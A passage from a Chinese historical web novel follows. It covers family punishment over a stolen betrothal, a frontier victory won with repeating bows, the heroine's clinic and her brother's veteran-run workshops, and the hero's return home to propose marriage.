宁涵凤忍俊不禁,这话说得可真准。她想起宁涵清平日里的作态,确实除了会哭会闹,一无是处。可笑她还想抢别人的未婚夫,真是不知天高地厚。 “你别担心,我不会做对不起你的事。”林文昂认真道,目光灼灼地看着宁涵凤,“我爹说了,家业再大,后院也不能大,免得生出许多是非。我林文昂这辈子只娶你一个。” 宁涵凤心头一暖,眼眶微微发红:“多谢。你放心,我既然选了你,就不会让别人抢走。”她的声音虽轻,却带着坚定。 “我知道。”林文昂笑道,伸手轻轻拂去她肩头的落叶,“今日这事过后,咱们的婚事更稳当了。你好生在家等着,我来娶你。” 宁涵凤点点头,目送他离去。她站在那里,看着林文昂的背影渐渐消失在街角,心中满是甜蜜。 回到房中,她点起蜡烛,继续绣着嫁衣。针线穿梭间,想起方才的种种,嘴角不自觉地扬起。窗外传来阵阵哭声,她知道那是宁涵清在挨打,却没有丝毫怜悯。 此时老夫人院中,宁涵清跪在地上挨打,哭声不断。她的脸上已经红肿一片,发髻散乱,哭得上气不接下气。大姨娘也跪在一旁求情,不住地磕头。 “老夫人开恩啊!”大姨娘扯着老夫人的裤脚,声音嘶哑,“清儿一时糊涂,不是有意的啊!她还小,不懂事,求老夫人饶了她这一回!” 老夫人冷眼旁观,心中失望至极。原以为那日训斥过后,这对母女该收敛,谁知竟做出这等不知廉耻之事。她看着跪在地上的两人,只觉得心寒。 “糊涂?”宁家大爷一脚踹开大姨娘,怒气冲冲地道,“当初问你们意思时,不是说打死也不嫁吗?如今又是何故?” 大姨娘被踹得一个趔趄,却还要狡辩:“那时不知林大夫是女子,若知道,我们也不会拒绝啊。”她继续辩解着,“况且清儿也是一片痴心,实在是...” “住口!”老夫人怒极,打断她的话,“林大夫的身份岂是你能妄议的?我当初念你怀了孩子,才抬你做姨娘。没想到你不但不知感恩,还教女儿这些下作手段,宁家可不容你了!” 大姨娘慌了神,连连磕头,额头都磕出了血:“求老夫人开恩!奴婢知错了!” 宁涵清也跟着求饶,声音带着哭腔:“祖母饶命,孙女以后再也不敢了!” “还想有以后?”宁家大爷怒不可遏,一掌拍在桌上,茶盏都被震得跳了起来,“你大姐有病,我把所有的心血都投入到你身上,可你始终不成器。我可曾怪过你?为何你要这般打我的脸?” 宁涵清缩了缩脖子,不敢答话。她偷偷看了眼父亲通红的脸,心中又是害怕又是委屈。她不明白,为什么林文昂非要娶宁涵凤不可?明明她比宁涵凤年轻貌美,又没有病,为什么就不能嫁给他? 大姨娘见状,连忙又磕了个头:“老爷息怒,都是妾身教女无方,清儿也是一时糊涂。求老爷看在她还小的份上,饶了她这一回。” “糊涂?”宁家大爷冷笑一声,“你们母女俩打的什么主意,我心里清楚得很。宁涵凤是嫡女,这门亲事是她的。你们想抢,也得掂量掂量自己的分量!” 第九十六章 神兵利器 老夫人闭了闭眼,对着宁大爷道:“出了这样的事,我们必须得给林家一个交代,我看就把她们母女送到清县庄子上去吧。” 宁家大爷瘫坐在太师椅上,手中的茶盏微微颤抖,茶水溅洒在锦缎衣袖上也浑然不觉。他望着跪在地上的女儿,眼神黯淡,声音沙哑:“儿子知道了。” 大姨娘听闻要被发配清县庄子,身子一软,直接晕了过去。她倒下的瞬间,绣花针从手中滑落,发出清脆的声响,在这寂静的厅堂中格外刺耳。 “娘!”宁涵清扑过去抱住昏迷的母亲,泪水无声地滑落。她的手指轻轻抚过母亲苍白的面容,心如刀绞。清县庄子在何处她并不知晓,但她明白老夫人这是要将她们母女赶得远远的,以免影响宁涵凤的婚事。 厅内一片沉寂,只有檀香袅袅升起,空气中弥漫着压抑的气息。老夫人端坐在主位上,面色冷峻,眼神中带着不容置疑的威严。 “为什么要这样对我?”宁涵清心中充满不甘,“我与林公子只见了一面,并无逾越之举。” 她跪在老夫人面前,额头重重叩在地上,发髻松散,几缕青丝垂落:“祖母开恩!孙女知错了,再不敢胡来了,求您别赶走清儿!” 连续磕了几个响头,额头已经红肿起来,地砖上沾染了点点血迹。 老夫人看着从小宠到大的孙女,心里还是有些不忍。她抬手摸了摸额角的青玉簪,那是清儿去年生辰时送的。叹了口气,目光转向儿子。 宁家大爷心领神会,连忙开口:“母亲,都是那贱人教坏了清儿,不如只将那贱人送走。清儿到底是宁家血脉,留下来慢慢教导便是。” 老夫人又是一声长叹,袖中的手指微微蜷缩,转身迈入了卧室,算是默许了这个提议。 宁涵清暗暗松了一口气,只要能留在府中,就还有机会。她擦干眼泪,扶起仍在昏迷的母亲,心中已有了打算。 林家少爷风度翩翩,举止得体,尽管身上穿的是布衣,却掩不住一身贵气。那双清澈的眸子中藏着智慧的光芒,举手投足间尽显儒雅之风。那样的人物,怎会是寻常人家? 她懊悔当初轻信传言,以为逃荒而来的人家必定低贱。如今见了真人,才知自己大错特错。这样的良配,她怎能轻易放手? 与此同时,林芷柔带着弟弟回到家中,柳雅芝急忙迎上来。她一整天都在担心这事,此刻见女儿回来,连忙问道:“柔柔,事情解决了吗?” “娘放心。”林芷柔笑道,“宁家也不敢真把庶女换成正妻。这事啊,不过是后院那些见不得人的手段罢了。” 柳雅芝松了口气,拉着女儿坐下:“那宁家是怎么说的?” “还能怎么说?”林芷柔给母亲倒了杯茶,“自然是说要严惩不贷。不过这事,怕是没这么简单。” 林山在一旁叹气:“这些大户人家,就是麻烦。当初要不是看在宁家大小姐人还不错的份上......” “爹别担心。”林芷柔安慰道,“宁家要是敢耍什么花招,女儿自有办法应对。” 跟爹娘交代完,林芷柔不再关心宁家的事。她赶到铺子里,专注地调配着药材,手中的玉针在阳光下闪烁着寒光。 “姐,这批药材的品相不错。”林文昂走进来,将一个木箱放在柜台上,“价格也合适,我已经订下了。” 林芷柔点点头,继续专注于手中的工作:“嗯,最近生意不错,多备些货也好。” 边关,战事却愈发紧张。楚星河率领飞鸢卫分成六队,朝不同方向展开行动。楚云浪不放心儿子安危,特意留下楚云楚雨在他身边护卫。 月光如水,洒在甲胄上泛着冷光。飞鸢卫员个个训练有素,不论是单独行动还是配合作战都堪称完美。他们带着连珠弓,骑着快马,如同六支利箭射向敌营。 连珠弓轻巧灵活,杀伤力却惊人。六支小队犹如六只猛虎,所到之处,敌军望风而逃。箭矢破空之声不绝于耳,每一声都伴随着敌军的惨叫。 楚云浪在中军帐内来回踱步,不时掀开帐帘望向远方。得知战况后,他喜不自禁,胡须都翘了起来。帝都已下令让他将破云弩送往陇城,配合边军作战。 守将对楚星河赞不绝口。这位看似文弱的伯府世子,竟有如此军事才能。更令人称奇的是他那头通人性的狼,完成了许多不可能的任务。 “好!好!”守将拍案叫绝,“世子爷真是深藏不露啊!” 敌军节节败退,不明白天玄何时有了如此厉害的武器。区区六人一队,竟能以一当百。连珠弓射程远,威力大,令人防不胜防。 破云弩更是神器,千米之外取人性命。敌军骑兵往往还未看清情况,就已经倒了一大片。战场上尸横遍野,血流成河,敌军的士气被完全打垮。 在破云弩、连珠弓的配合下,飞鸢卫与边军默契配合,将敌军打得溃不成军,一路退回本土。战报频传,捷报连连,天玄军威震慑四方。 楚星河本想乘胜追击,但敌国已经递交降表,天玄不得不停战。他站在城墙上,望着远处的落日,心中思绪万千。 守将激动地拍着楚星河的肩膀,眼中闪烁着泪光:“世子爷立下大功!若非有你和这些神兵利器,我军不可能这么快取胜!” 征战数月,楚星河却总想着柔柔。她给的药果然神奇,到了半年期限,他的病不药而愈。那些灵水更是神异,喝一口便能消除疲劳,让他在这场持久战中始终保持着充沛的精力。 他明白柔柔为何要隐藏这些秘密。这样的本事若是传扬出去,必定会招来无穷祸患。想到柔柔那双灵动的眼眸,他的心不由自主地柔软起来。 回程途中,楚星河走走停停,不时查看军需物资。他知道柔柔一定在等他,但军务在身,不能过于急切。每到一处,他都会派人打探当地的药材,准备带回去给柔柔。 楚云楚雨跟在他身边,看着自家世子爷这般细心,不由得相视一笑。他们跟随世子多年,还是第一次见他对一个姑娘如此上心。 军营里的将士们也都察觉到了世子的变化。以往的世子总是冷着一张脸,现在却时常能看到他嘴角含笑。有人猜测是不是世子在边关立功后心情大好,只有楚云楚雨知道真相。 “世子爷,前面就是清河县了。”楚云轻声提醒。 楚星河点点头。清河县有一位老药农,据说种植的药材品质极好。他准备去看看,若是不错,就与林家合作,也好给柔柔一个惊喜。 第九十七章 荣耀下的隐忧 云陵伯府的功劳来得太突然,这份荣耀能否承受得住,林芷柔心里没底。她站在窗前,望着庭院里摇曳的花影,手指无意识地摩挲着窗棂。 “小姐,”丫鬟轻声唤道,“热茶要凉了。” 林芷柔回过神,接过茶盏抿了一口。茶香在唇齿间氤氲,却驱散不了心头的忧虑。云陵伯已经上了奏折,皇上也知晓了连珠弓的来历,这事已成定局。 “去把账本拿来。”她吩咐道,“我要再核算一遍医馆的开支。” 丫鬟应声而去,很快捧着几本账册回来。林芷柔翻开账本,目光在密密麻麻的数字间游移。医馆虽说是免费施药,但背后的支出却是实打实的。 “小姐,”管事妈妈在门外禀报,“伍掌柜来了,说是要商议酒坊的事。” “请他去正厅等着。”林芷柔合上账本,整理了下衣裙。 伍大年已在正厅候着,见她进来,连忙起身行礼:“小姐。” “坐吧,”林芷柔示意他落座,“酒坊那边如何?” “回小姐的话,”伍大年喜形于色,“生意很好,那些商人都说咱们的酒香醇可口,连着订了好几批。” 林芷柔点点头:“技术可有外泄?” “小姐放心,”伍大年拍着胸脯保证,“那几个心腹都立了重誓,绝不外传。” 正说着,外头传来一阵骚动。林芷柔蹙眉,还未开口询问,就见林小七欢快地跑了进来,嘴里还叼着一只野兔。 “这畜生!”管事妈妈气得直跺脚,“又把地上踩得脏兮兮的!” 林芷柔却笑了:“让它去后院吧,别为难它。” 看着林小七欢快离去的背影,她想起了远在边关的楚星河。这匹狼跟了他几个月,倒是越发通人性了。也不知他这会儿在做什么,是否也在想着她? 思绪还未飘远,就听外头传来急促的脚步声。 “小姐!”丫鬟慌慌张张地跑进来,“城外来了个信使,说是楚王府的人!” 林芷柔眸光一凛:“他来做什么?” “说是要见老爷,”丫鬟道,“但老爷不在府上。” “我去会会他。”林芷柔起身,面色沉静。 信使是个面生的小厮,见了林芷柔,恭恭敬敬地行礼:“小姐,我家王爷让小的送来一封信。” 林芷柔接过信封,拆开一看,眉头微皱。信中说楚王妃身子不适,想请她去诊治。 “回去告诉楚王,”她将信笺折好,“就说我这几日要准备去军营送药,抽不开身。” 小厮还想说什么,却被她一个眼神制止:“退下吧。” 待人走后,林芷柔立刻唤来心腹:“去查查楚王府最近有什么动静。” 边关传来捷报,蛮族损失惨重,已经开始议和。这场仗打得快,全靠那批连珠弓立了大功。 可越是如此,她越是不安。楚王的银矿一事至今未解,即便太子派人四处追查,也未寻到半点线索。这位王爷,当真是个老狐狸。 她其实有法子查清此事,但楚星河不会让她出手。暴露得太多,终究会惹来祸患。想到这里,她不由苦笑。这个男人,总是这样处处为她着想。 帝都里,皇帝正在御书房批阅奏章。楚王站在一旁,脸上带着恰到好处的笑意。 “云陵伯这次立了大功啊,”皇帝放下朱笔,“那连珠弓当真厉害。” “父皇说得是,”楚王应道,“若非此物,这仗还不知要打到何时。” 皇帝瞥了他一眼:“你那银矿的事可有眉目了?” 楚王面色一僵,随即恢复如常:“还在查。” “查了这么久,连个影子都没摸着?”皇帝冷笑,“你这个王爷当得也太不像样了。” 楚王低头认错,心中却是怒火中烧。他的银子就是在云州不翼而飞的,那贼人手段高明,居然能在两拨人的眼皮子底下,神不知鬼不觉地用泥沙换走了银锭。 这事要不是庄子上的沙子突然消失,他还真发现不了。他的手下做事向来谨慎,任何异常都会层层上报。那堆沙子一夜之间不见了,正好对上了箱子里的沙子,这事就再明白不过了。 玉牌也是同样的手段,等他得到消息时,钱已经在千里之外的金泰钱庄兑走了。 回到王府,楚王摔碎了一套茶具。贾秦华站在一旁,瑟瑟发抖。 “都是你这个扫把星!”楚王怒吼,“自从娶了你,诸事不顺!” 贾秦华跪下求饶:“王爷息怒......” 楚王冷笑:“你不是身子不适吗?怎么还能跪得这样稳当?” 贾秦华心中一惊,这才想起方才给林芷柔下的请帖。她颤声道:“妾身......” “滚!”楚王一挥手,“别让我看见你!” 待人走后,他留了一张便条,交给心腹太监:“送去那边。” 太监领命而去,不多时,一只信鸽冲天而起。 云州,林芷柔的仁心医馆门前摆满了凉茶。她不但免费供应,还教百姓如何采药熬制。军中也用上了这个方子,将士们都说好。 “小姐,”一个老妇人颤巍巍地走来,“我家那口子的咳疾好多了,多亏了您的药。” 林芷柔扶她坐下:“大娘不必客气,这是应该的。” “您这样的大家小姐,”老妇人红了眼眶,“却这样照顾我们这些穷苦人......” 林芷柔笑道:“大娘说哪里话,救死扶伤是医者本分。” 林文昂的庄子上,房子已经建好,整齐划一地立在那儿,还挖了三口水井。那些老兵们欢天喜地,虽说要交租金,但也就是个意思。 “少爷,”管事兴冲冲地跑来,“那些老兵都说,要给您立长生牌位!” 林文昂摆摆手:“莫要这样,我不过是投资罢了,又不是施舍。” “可是......” “去准备建糖厂的事吧,”林文昂打断他,“我姐姐教的制糖法子,可不能辜负了。” 想起当初姐姐第一次做蜜糖时的情景,他就忍不住笑。那会儿,他和父亲都以为她是在糟践粮食,只有母亲相信她。结果黑糖水加了泥浆,居然真的变成了雪白的糖霜,那可真是让人大开眼界。 夜深人静,林芷柔站在院中,望着天上的月亮。不知为何,她总觉得有什么大事要发生。这份突如其来的功劳,会不会反倒成了催命符? 林小七不知何时蹲在她脚边,用脑袋蹭了蹭她的手。 “你也睡不着?”她蹲下身,摸了摸它的头,“想你主人了?” 林小七呜咽一声,眼中闪过人性化的神采。 “放心吧,”她轻声道,“他很快就会回来的。” 月光如水,静静地洒在庭院里,映照出一人一狼相依的身影。远处传来更夫打更的声音,在这寂静的夜里显得格外清晰。 第九十八章 安稳的生活 夏日的暑气渐渐消退,庄子里的人们各司其职,忙碌而充实。晨光熹微中,鸡鸣此起彼伏,庄子里的生活又开始了新的一天。 老人们在鸡舍和猪圈间穿梭,动作虽慢却井然有序。几位上了年纪的妇人蹲在菜园里,一边除草浇水,一边低声闲聊着家长里短。半大的孩子们则三三两两聚在卤料铺子门前,等着跟孙叔学手艺。 “阿禄,你来看看这个火候。”孙叔站在灶台边,指着冒着热气的大锅。他是个跛脚的中年人,右腿落下残疾,但并不影响他在厨房里的灵活。 名叫阿禄的少年连忙凑过去,额头上的汗珠在阳光下闪着光。 “火候还差一些。”孙叔皱着眉头,用长柄勺搅动锅中的卤水,“卤料要的是文火慢炖,急不得。” “是,孙叔。”阿禄抹了把汗,认真调整着火候。灶下的柴火发出轻微的噼啪声,热气蒸腾中飘散着浓郁的香料味。 林文昂站在卤料铺子门口,看着这温馨的一幕。阳光透过屋檐的缝隙洒在他身上,在地上投下斑驳的影子。他的目光柔和,心中暗暗感激姐姐的安排。若不是林芷柔教他这些生意经,他也不知该如何安置这三百多人。 “公子。”伍大年快步走来,怀里抱着一本厚厚的账簿,“账目都已经清点完毕了。” 林文昂接过账本,翻开粗糙的纸页。上面密密麻麻写着阿拉伯数字,这是林芷柔特意教给他的记账方式。数字排列整齐,清晰明了,每一笔收支都记录得清清楚楚。 “这样记账确实方便。”伍大年凑近看了看,由衷感叹道,“不过外人看了,怕是一头雾水。” 林文昂嘴角微扬:“这就是目的所在。” 食堂里飘来饭菜香,灶房里的大锅正冒着热气。三百多人在这里吃住,每个人都有工分可赚。从种地到养殖,从卤料到酿酒,庄子里的生意蒸蒸日上。 “公子,将军醪又卖完了。”伍大年兴奋地说,脸上带着掩饰不住的喜悦,“西陵商社的人又来订货了,这次要的量比上次还多。” 林文昂眉头微皱,目光落在远处的酒坊上:“现在天气还热,路上容易变质,暂时不接西陵商社的单子。” “可是...”伍大年欲言又止,眉头微微蹙起。 “宁可少赚点,也不能坏了良心。”林文昂语气坚定,“等天气凉快些再说。” 伍大年默默点头,心中对这位年轻公子更添几分敬重。阳光下,林文昂的侧脸显得格外坚毅。 午后的庄子里,各处作坊都在紧张忙碌。林文昂来到制糖作坊,陈叔正带着几个学徒制作蜜糖。这是他姐姐教的独门技艺,能把普通的黑糖变成雪一样白。 “陈叔,红泥水的比例要准确。”林文昂走到灶台边,仔细查看着工序。 陈叔擦了擦额头的汗水,认真地点头:“公子放心,我都记下了。这道工序最是关键,我亲自看着。” 作坊里弥漫着甜腻的糖香,几个学徒正在专心致志地搅拌糖浆。阳光透过窗户照进来,将沸腾的糖浆映得闪闪发亮。 “这批糖浆的火候刚好。”陈叔用长勺舀起一勺糖浆,仔细观察着,“再炒一会儿就能出锅了。” 林文昂看着逐渐变白的糖霜,想起姐姐的叮嘱。林芷柔说过,这东西一出,必定引来觊觎。可眼下秋天将近,中秋将至,正是推出蜜糖的好时机。 “陈叔,这几天多准备些蜜糖,中秋节前要用。”林文昂吩咐道,“但要严格保密,配方决不能外传。” “是,公子放心。”陈叔郑重地点头,“我都挑的可靠人手,绝不会走漏风声。” 傍晚时分,夕阳将天边染成一片金红。 林文昂站在庄子的高处,目光扫过眼前繁忙的景象。农田里,庄户们正在收割最后一批秋粮;作坊区域,袅袅炊烟从三个不同的烟囱升起,空气中飘散着糖香、酒香和卤味的混合气息。 “陈叔,这批新酿的酒怎么样了?”他转头看向身旁的老者。 陈叔搓了搓布满老茧的手掌,脸上露出欣慰的笑容:“回林公子的话,这批酒比上一批更好。您给的那个配方,可真是个宝贝啊!” “酿酒不只是配方的事。”林文昂微微摇头,“关键还是要靠大家的手艺。这段时间辛苦陈叔带着兄弟们摸索经验了。” 陈叔连忙摆手:“哪里哪里,这都是应该的。要不是林公子指点,我们这些老兵哪懂得做生意?”说着,他的目光不自觉地飘向远处的几间平房,“现在好了,兄弟们都有活干,家眷也都接来了,孩子们还能念书......” 话未说完,陈叔的声音哽咽了。作为一名退伍老兵,他深知这份安稳来之不易。若不是林公子出手相助,他们这些伤残老兵的日子只怕难过得很。 “公子放心,我们一定会按您说的,好好学手艺,严格把控品质,不让您的名声受损。”陈叔抹抹眼泪继续说道。 林文昂轻轻拍了拍陈叔的肩膀:“陈叔说得对,并非不能让我的名声受损,可不能让世子爷的名声遭殃。云陵伯府守护着整个云云州,咱们能做的就是好好经营这份营生,为世子爷分忧解难。” “是啊......”陈叔抹了抹眼角,“世子爷待我们这些老兵,那真是......” 远处传来一阵喧闹,打断了陈叔的话。只见制糖作坊那边,几个工人正在搬运新制好的蜜糖。阳光下,那些晶莹剔透的糖块闪烁着诱人的光芒。 “这批糖的成色不错。”林文昂眯起眼睛打量着,“陈叔,今后这糖厂就托付给你了。有了这三样营生,再加上种植的粮食和蔬菜,养殖的牲畜,咱们的日子只会越过越好。” 站在不远处的楚九三默默注视着这一切。作为世子派来的贴身护卫,他清楚这些产业背后的故事。那些精妙的配方和经营之道,其实都出自林姑娘之手。若非如此,单凭林文昂一人,恐怕难以将这些产业经营得如此红火。 想到这里,楚九三不禁回想起前些日子在云陵伯府听到的对话。 第九十九章 得胜归来 “父亲,这批赏赐......”世子欲言又止。 “直接送到云州就好。”云陵伯轻叹一声,“免得让你祖母看了心烦。” “可是......” “算了。”云陵伯摆了摆手,“你祖母始终偏心自己的儿女,这些年来也不是一天两天了。当年她抢着要养你,不过是看中了这份功勋罢了。” 世子沉默片刻,低声道:“所以父亲才特意安排了这片庄子?” “是啊。”云陵伯望向窗外,“这些都是跟着咱们出生入死的兄弟,总不能让他们流落街头。只可惜为父不善经营,连顾家都推辞不肯帮忙。如今有了林家兄妹......” 话未说完,门外传来脚步声。威震大将军卓毅大步走了进来,手里还提着一坛酒。 “老哥,尝尝这个!”卓毅笑着将酒坛放在桌上,“你猜这是什么酒?” 云陵伯打开酒坛,一股醇香扑面而来。他愣了一下:“这是......” “将军醪!”卓毅哈哈大笑,“就是你那未来儿媳妇酿的酒。这名字取得妙啊,一听就知道是咱们楚家军的东西!” 云陵伯也笑了:“是啊,这丫头确实有心了......” 回忆戛然而止,楚九三收回思绪。眼前的林文昂正在和陈叔讨论新一批货物的销路。 “城里的茶楼酒肆都预订了不少,就连隔壁几个县的商贾也派人来问过。”陈叔兴奋地说道,“照这个势头,咱们的产业很快就能扩大了。” 林文昂点点头:“是该扩大了。不过要循序渐进,稳扎稳打。” “对对对。”陈叔连连点头,“林公子说得是。咱们这些粗人哪懂这些,还得靠您和林姑娘多指点才是。” 夕阳西下,庄子上的人们陆续收工。远处传来孩童的读书声,与作坊里的机器声交织在一起,构成了一幅和谐的画面。 楚九三看着眼前的景象,心中暗自庆幸。有了林家兄妹的帮助,这片庄子定能越来越好。而这,或许就是云陵伯和世子最想看到的结果吧。 傍晚时分,一队商队缓缓驶离庄子。马车上装满了即将运往各地的货物——蜜糖、美酒、卤味,每一样都是云州独一份的特产。 林文昂站在路边,看着这些即将远行的货物,心底满是欣慰。这些都是大家辛苦劳作的成果,也是云陵伯府对这些老兵最好的安排。 林芷柔坐在药堂里,想着心事。 她知道,他快回来了。 林小七比楚星河早几天到家,这个威武的大家伙此刻正趴在她脚边,时不时发出低沉的呜咽声。它那双琥珀色的眼睛不时望向门口,尾巴轻轻摇晃,显然也在期待着什么。 “主人,我渴了,他也渴了。”林小七用湿漉漉的眼睛望着她,喉咙里发出细微的呜咽声。 林芷柔微微一笑,起身走向角落的水缸。月光下,她纤细的身影在地上拉出一道修长的影子。她舀了一碗掺了仙露的溪水,清澈的水面泛着淡淡的银光。 “喝吧,待会给你准备好吃的。”她将水碗放在林小七面前,轻轻抚摸着它的头。 看着林小七大口饮水的模样,林芷柔的思绪不由得飘远。药堂里的草药香气萦绕在鼻尖,带着一丝苦涩的气息。 这一战打得漂亮,连珠弓和破云弩的功效显著。但她心里清楚,功高盖主从来都不是什么好事。朝堂之上,暗流涌动,即便有一个英明的君主,也架不住有人在耳边日夜吹风。 她想起那些流传在民间的故事,那些功高震主最后落得悲惨下场的将领,一丝不安在心头蔓延。 所以当她听说楚星河没有上报军功时,心里反而松了一口气。这个决定,或许会让一些人失望,但却是最明智的选择。 林小七突然竖起耳朵,尾巴轻轻摇晃。林芷柔心头一动,她知道,他回来了。 院子里传来轻微的脚步声,由远及近。那熟悉的脚步声让她心跳不由得加快了几分。 吱呀一声,门被推开。月光下,一个高大的身影出现在门口。 楚星河站在那里,风尘仆仆的模样。他的脸上蓄满了胡须,衣服上还带着征战的痕迹,但那双眼睛却亮得惊人,里面盛满了喜悦。 “柔柔。”他轻声唤道。 简单的两个字,却包含了千言万语。那声音里有思念,有欢喜,还有一丝难以掩饰的疲惫。 楚星河大步上前,将她拥入怀中。许久未见的温度让林芷柔心头一暖,但那扎人的胡须却让她忍不住缩了缩脖子。 “痒。”她小声抱怨。 楚星河低笑一声,却没有松开手。“我想你了。”他的声音有些沙哑,带着征战归来的疲惫。 林芷柔没说话,只是轻轻拍了拍他的后背。隔着衣料,她能感觉到他身上的温度,还有那微微的颤抖。 门外,楚云楚雨默契地转过身去。月光下,两个黑影静静地守在门口,像两尊无声的石像。 “柔柔,你教的那些战术真的很管用。”楚星河松开她,兴奋地说道。他的眼睛亮得惊人,仿佛又回到了战场上。“飞鸢卫配合破云弩,打得敌人措手不及。你真该看看他们惊慌失措的样子。” 林芷柔看着他眼中的光芒,心中泛起一丝甜意。但随即,一丝担忧又浮上心头。这样的战术,太过惊艳,必然会引起朝中某些人的注意。 “你先回去洗漱吧,”她轻声说,“这些天辛苦了。” 楚星河眼中满是不舍:“我洗完再来看你?” “不用了,”林芷柔摇头,“你需要好好休息。对了,林小七就交给你了。” 听到这话,趴在地上的黑狼抬起头,懒洋洋地看了楚星河一眼,鼻子里轻轻哼了一声。 楚星河蹲下身,揉了揉林小七的脑袋。“这家伙立了大功,要不是它,我们这次的突袭不会这么顺利。”他的语气中带着赞赏,“它比我想象中还要聪明。” “我知道,”林芷柔微笑,“你们都辛苦了。” 楚星河站起身,目光深深地看着她:“柔柔,这次我没让人上报军功。连珠弓的事情已经够显眼的了,再加上军功...”他的声音低了下来,有些担忧地望着她。 “你做得对,”林芷柔打断他的话,“有时候,低调才是最好的保护。”她的声音很轻,却带着不容置疑的坚定。 月光透过窗棂洒在两人身上,在地上投下交错的影子。空气中弥漫着淡淡的药香,混合着他身上的风尘气息。 楚星河伸手轻抚她的脸颊,粗糙的手指带着征战归来的痕迹。“等我洗去这一身风尘。” 林芷柔感受着脸颊上残留的温度,目送着楚星河离去的背影。 她轻轻推了推趴在地上的林小七,月光下那只通体黝黑的狼正眯着眼睛打盹。“你该跟着他去了,这是你最好的机会。” 林小七慵懒地抬起头,金色的眸子在月光下闪烁着不同寻常的光芒。它甩了甩尾巴,语气里带着几分不情愿:“为什么非要我去?我不想离开你。” “你要是不去,就回山林去吧。”林芷柔蹲下身,纤细的手指穿过它柔软的毛发,轻轻揉了揉它的脑袋。她的声音轻柔却坚定,“去吧,白天跟着他,晚上再回来。” 林小七站起身,摇了摇闪闪发光的毛发,月光下它的身形矫健优美。“那我去认认路。”它迟疑片刻,又补充道,“晚上我来找你喝仙露泉。” 看着林小七离去的背影,林芷柔摇了摇头。这只狼太聪明了,从小喝仙露泉长大,如今都成精了。她抬头望向天空,繁星点点,月色如水,不知不觉间已经入夜许久。 第一百章 提亲,要快些 楚星河回到太守府时,府中大部分人已经入睡。庭院里只有几盏昏黄的灯笼还在随风轻晃,投下摇曳的光影。 他沐浴更衣,换上一身干净的寝衣。连日赶路的疲惫终于涌上来,他躺在床上,很快就陷入沉睡。这些日子为了赶路回来,他几乎没合过眼。 顾馨巧听说儿子回来,连忙从自己院子里赶过来。她轻手轻脚地推开房门,屋内烛火已灭,只有一缕月光透过窗棂洒在床榻上。 月光下,楚星河消瘦的侧脸清晰可见。顾馨巧心疼地看着儿子,他的眉头即使在睡梦中也微微蹙着,显然这段时间过得并不轻松。她暗暗决定明天一定要请林大夫好好给他看看。 第二天一早,晨光熹微,楚星河便起身梳洗。他先去给父母请安,陪着弟妹用了早膳。饭桌上,楚星霆和楚星澜叽叽喳喳地说着这段时间发生的趣事,让整个早膳时光充满了欢声笑语。 待楚星霆和楚星澜离开后,他对楚云浪说道:“父亲,孩儿不打算要这次的功勋。”话语间透着几分慎重。 楚云浪放下手中的茶盏,目光深邃:“你是担心太子那边?” “是。”楚星河点头,“楚王的银矿一事,太子至今无计可施。若我们这时候领功,恐怕会引来不必要的麻烦。”他停顿片刻,又道,“况且,这功劳本就不该是我的。” 顾馨巧听着父子俩谈论朝堂之事,心中焦急,连忙转移话题:“季远,你这病好些了吗?”她的目光中满是关切。 “已经痊愈了。”楚星河嘴角扬起一抹温和的笑意。 “真的?”顾馨巧惊喜地站起身,连带着手中的帕子都掉在了地上。 楚云浪也是一脸讶异:“这么快就好了?当初太医院那些老头子可都说......” “是柔柔给我配的药。”楚星河打断父亲的话,语气温柔地说,“她说我回来时就会好。” 顾馨巧眼睛一亮,心思敏锐地捕捉到儿子语气中的异样:“既然你已经康复了,那该考虑婚事了。可有中意的姑娘?” “有。”楚星河毫不犹豫地回答,声音坚定,“就是林芷柔。” 顾馨巧看了眼楚云浪,想起当年他也是这般坚定。她笑着说:“好,妈这就去操办婚事。”眼中闪烁着欣慰的光芒。 “要快些。”楚星河提醒道,眉宇间带着几分凝重,“祖母那边恐怕会有意见。” 顾馨巧立刻明白过来:“娘这就去准备,今天就是个好日子。”她说着就要起身去准备。 楚云浪虽觉得仓促,但看到儿子坚定的眼神,也没有反对。他起身去沐浴更衣,准备亲自上门提亲。 楚星河回到自己房间,仔细梳洗打扮。他知道柔柔喜欢看他干净利落的样子。站在铜镜前,他想起柔柔的笑容,那抹笑容总能让他心安。 院子里传来窸窸窣窣的声响,他转头望去,只见一只黝黑的身影正蹲在院墙下。林小七金色的眼睛在晨光中闪烁着,似乎在打量着这个陌生的环境。 “进来吧。”楚星河轻声道。 林小七优雅地跃进院子,在他脚边转了一圈:“柔柔让我来照顾你。” 楚星河微微一笑:“她总是这样操心。” “她说你以前生过重病。”林小七蹲坐在地上,歪着头看他,“所以让我看着你别太累。” 楚星河整理着衣襟的手顿了顿,那场病差点要了他的命,如果不是柔柔...... 想起柔柔,嘴角不自觉地扬起一抹笑意。那个总是让他又爱又怜的姑娘。每每想到她,心头便涌起一股暖意,仿佛春日里最温柔的风。 寻常女子遇到危险场面,怕是早就吓得花容失色,可他的柔柔却不同。她总是那样从容不迫,仿佛天生就该站在那个位置上。 那次在山间遇到山匪,其他人都慌了神,她却镇定自若地取出玉针,三两下就制服了为首的匪徒。那双灵巧的手,仿佛带着某种神奇的力量,让所有人都不由自主地信服。 碰到狼群时,她沉着冷静地指挥众人背靠背围成一圈,用火把驱赶野兽。月光下,她的身影显得格外坚毅。 就连瘟疫肆虐,她也是冲在最前线救人。那段日子,她几乎不眠不休,脸色苍白得吓人,可那双眼睛里永远闪烁着坚定的光芒。 “世子爷,该出发了。”管家的声音从门外传来,打断了楚星河的思绪。 他整了整衣襟,深吸一口气:“知道了,这就来。” 后院里,顾馨巧正在翻找库房。阳光透过窗棂,照在她略显疲惫的脸上。这些日子为了儿子的婚事,她操心得很。 “夫人,可需要我帮忙?”赵氏快步走来,看到满地的药材盒子,连忙蹲下帮忙整理。 顾馨巧转身,脸上带着温和的笑意:“妹妹来得正好,帮我找些上好的药材。这些都是珍贵的药材,要好好挑选。” “药材?”赵氏一边帮忙整理,一边疑惑地问道,“夫人要这么多药材做什么?” “是啊,”顾馨巧眼中闪着喜悦,手上动作不停,“季远的病好了,多亏了林大夫。这次去提亲,总要准备些拿得出手的东西。”她小心翼翼地将一盒人参放进锦盒。 “提亲?”赵氏手上的动作一顿,“林大夫不是......”她欲言又止,眼中满是困惑。 “林大夫是女子。”顾馨巧笑着打断她的话,“这事说来话长,不过确实是个好姑娘。” 赵氏瞪大了眼睛:“原来如此!难怪世子爷这些日子总往医馆跑。我还以为......”她说到一半,突然意识到什么,赶紧闭上嘴。 “你以为什么?”顾馨巧笑着问。 